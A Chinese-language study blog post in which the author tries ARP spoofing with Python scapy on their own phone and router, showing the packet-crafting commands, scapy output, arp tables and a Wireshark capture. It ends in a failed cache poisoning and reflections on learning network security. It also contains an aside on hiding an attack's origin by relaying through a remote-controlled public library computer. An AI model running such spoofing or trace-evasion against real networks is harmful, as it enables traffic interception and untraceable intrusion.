上周学习了如何应用网络进行通信连接,今天就更加深入地学习这些通信的方式,也就是我们常说的网络协议protocol(也可能不常说,毕竟我在大三写区块链的报告时才第一次知道协议这个概念)。不过在在这之前,先补充一下上周遗留的ARP脚本问题。我自己是完全不会写脚本的,但我看得懂代码呀,所以借用了别人展示的脚本,当然没有找人授权,因为人家没锁可以直接看,要是介意的话拜托说一下。对方的地址是:来一场ARP欺骗吧(附攻击脚本) - 春告鳥 - 博客园 (cnblogs.com)ARP欺骗原理+python脚本实现_使用python将自己电脑伪装成网关实现arp-CSDN博客
我们已经知道,ARP的关键在于找不到本地储存的IP和对应的MAC地址时会广播找人,同时又不会验证找到的人是不是对的,也不会管自己到底有没有找过人,所以只要有人给了IP和MAC就会记录。所以ARP欺骗的关键在于模拟数据包来替换掉原本储存的IP或MAC。这里我们使用的python来实现一个简单的工具,下载包然后导入就行,如果用的kali,直接进入root输入scapy回车就行,它会自动运运行直到出现>>>(如果不知道什么是kali,Linux,root,百度自己实验一下,特别简单)。
pip install scapy
from scapy.all import *
--------
(root㉿kali)-[/home/kali]
└─# scapy
还是老生常谈的问题,我们不需要直到这个包到底是怎么工作的,我们只用知道,它能帮助我们模拟并发送几乎所有类型的网络数据包,具体怎使用通过ls()来查看,括号里就写协议名称。懂英语的话理解起来应该很简单,hw=hardware硬件,src=source源,destination目的,p=ip,op=option选项,len=length长度。
ls(ARP)
hwtype : XShortEnumField = ('1')
ptype : XShortEnumField = ('2048')
hwlen : FieldLenField = ('None')
plen : FieldLenField = ('None')
op : ShortEnumField = ('1') #1表示请求,2表示响应
hwsrc : MultipleTypeField (SourceMACField, StrFixedLenField) = ('None')
psrc : MultipleTypeField (SourceIPField, SourceIP6Field, StrFixedLenField) = ('None')
hwdst : MultipleTypeField (MACField, StrFixedLenField) = ('None')
pdst : MultipleTypeField (IPField, IP6Field, StrFixedLenField) = ('None')
好了,我们开始攻击。首先要知道目标的IP,如果没有目标可以通过本地cmd的arp -a去查IP,输出结果肯定很多,这里只截取了一部分。在这个池子里随意挑选一个幸运儿(倒霉蛋)吧。这里选取我手机IP 124.190
C:\Users\Administrator>arp -a
接口: 192.168.138.1 --- 0x4
Internet 地址 物理地址 类型
192.168.138.254 00-50-56-ea-c2-82 动态
192.168.138.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.2 01-00-5e-00-00-02 静态
224.0.0.22 01-00-5e-00-00-16 静态
然后我们看看这个包是如何工作的,我发现它会自动获取本机的IP和MAC,所以联系时就不再需要我们去设置源地址了,但是这样直接暴露IP容易被抓包溯源,因此在实际情况下,我们发动攻击时可以使用任意设备来广播,让对方响应一个公共设备,比如图书馆电脑,然后远控公共设备来获取我们想要的东西(然后牢底坐穿,千万别这么干)。所以这个地方的本地IP和MAC是可设置的。
arp = ARP() #生成arp包的对象
arp.show() #使用包中带有的方法显示信息
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = who-has
hwsrc = e0:0a:f6:84:51:b5
psrc = 192.168.124.186
hwdst = 00:00:00:00:00:00
pdst = 0.0.0.0
然后似乎再添加一个目标IP就能使用了?我们试试。这里用的我的手机IP。在下面的结果中,我们收到了对方返回给我们的响应,并且自动补全了缺失的物理IP地址长度hwlen、plen,以及arp的选项模式op。对方的物理地址是返回包中的源地址:f6:d7:e8:c1:ec:c2。
arp.pdst = "192.168.124.190" #添加目标IP
sr1(arp,timeout = 5) #s=send发送,r=recive接收,1=第一次响应,timeout=设定时间为5秒内
##########
Begin emission:
Finished sending 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<ARP hwtype=Ethernet (10Mb) ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=f6:d7:e8:c1:ec:c2 psrc=192.168.124.190 hwdst=e0:0a:f6:84:51:b5 pdst=192.168.124.186 |>
那我们看看是不是这个地址呢,通过arp -a来查到最后一个符合手机的MAC地址
接口: 192.168.124.186 --- 0x9
Internet 地址 物理地址 类型
192.168.124.166 de-24-59-04-41-aa 动态
192.168.124.190 f6-d7-e8-c1-ec-c2 动态
这就是一次完整的arp发包的过程,相当于我们获取到了对方的身份证,现在需要做的事情就是欺骗路由,对方这个IP地址实际是指向我们。办法其实很简单,知道路由的接口IP就直接发送一个响应包,路由的IP通过cmd来查就行,直接ipconfig,默认网关就是。我们自己的物理地址通过IP通过ipconfig /all获得,在无线局域网适配器中:192.168.124.1
无线局域网适配器 WLAN:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::66ee:2c21:fe6f:40e8%9
IPv4 地址 . . . . . . . . . . . . : 192.168.124.186
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.124.1
无线局域网适配器 WLAN:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Realtek RTL8852BE WiFi 6 802.11ax PCIe Adapter
物理地址. . . . . . . . . . . . . : E0-0A-F6-84-51-B5
通过同样的方式获取到路由的物理地址:a0:69:d9:0a:f7:64
arp.pdst = "192.168.124.1"
sr1(arp,timeout = 5)
##########
Begin emission:
Finished sending 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<ARP hwtype=Ethernet (10Mb) ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=a0:69:d9:0a:f7:64 psrc=192.168.124.1 hwdst=e0:0a:f6:84:51:b5 pdst=192.168.124.186 |<Padding load='<\\\\xee\\x82<\\\\xee\\x82D\\\\xee\\x82D\\ ' |>>
然后我们要开始将响应包中我手机的物理地址替换为我电脑的物理地址。但是当我们查看路由表时并没有成功覆盖掉MAC地址,这是为什么呢?
arp.op = 2
arp.psrc = "192.168.124.190" #手机IP
arp.pdst = "192.168.124.1" #路由IP
arp.hwdst = "a0:69:d9:0a:f7:64" #路由物理地址
send(arp)
Sent 1 packets.
#路由表
192.168.124.190 f6-d7-e8-c1-ec-c2 动态
因为现在的设备大多数都安装了防火墙、静态表等防止ARP欺骗的功能,我们用抓包攻击抓取ARP数据包后得到就是我们想要的,这里显示我们手机的IP正在电脑的物理地址上,说明这个脚本执行成功,但是因为设备本身的防御手段,使得我们没有成功篡改路由表,并且被显示在了流量中,使得运维人员能快速找到攻击源。
#wireshark抓包
126 5.931827 LiteonTechno_84:51:b5 NewH3CTechno_0a:f7:64 ARP 42 192.168.124.190 is at e0:0a:f6:84:51:b5
#路由表arp -a
192.168.124.190 f6-d7-e8-c1-ec-c2 动态
OK,一次简单的ARP欺骗执行完成,以上过程不需要任何代码基础就能操作,如果想要制作相关的工具的话,就需要一定的程序语言知识了,但是也不多,所以安全这门学科根本不需要多么厉害的代码能力,关键是思维的活跃程度和一定的运气。
总结一下这次脚本的学习,这是我自己第一次根据别人现成的脚本总结知识并手打过程,并且结合了之前自己学习的知识,成就感还是很足的。首先第一点,感谢python的各种包,脚本所需要的程序知识并不多,基本上只需要懂对象、循环、调用就能自己写了。然后,对于网络协议的理解稍微改变了一点,以前学习协议的时候,可以说只会走流程,自然而然地觉得只要流程搞明白就万事大吉;但这是标准的应试思维,万事万物都只求一个答案在安全学习里是万万不可的;要充分实践“法无禁止即可为”(这个大家自己看着办,毕竟有的规则写出来了却不执行,而且有的规则并不会写出来却一直在被执行,这里只针对安全研究)。最后就是关于网络协议学习的一些想法,网络是一门很深很大的学科,想要学透学懂非常困难,而且极其消耗时间,所以安全学习的补基础阶段千万不能抱着人家网络工程师的书啃。一切都应该从应用出发,了解在应用层之下,什么东西最常用,覆盖最广。
接下来开始学习网络协议了,跟一般学网络的人不同,我不从传输层开始,而从应用层开始,因为我的目的是做网安,而不是网工,不然干嘛叫安全学习记录。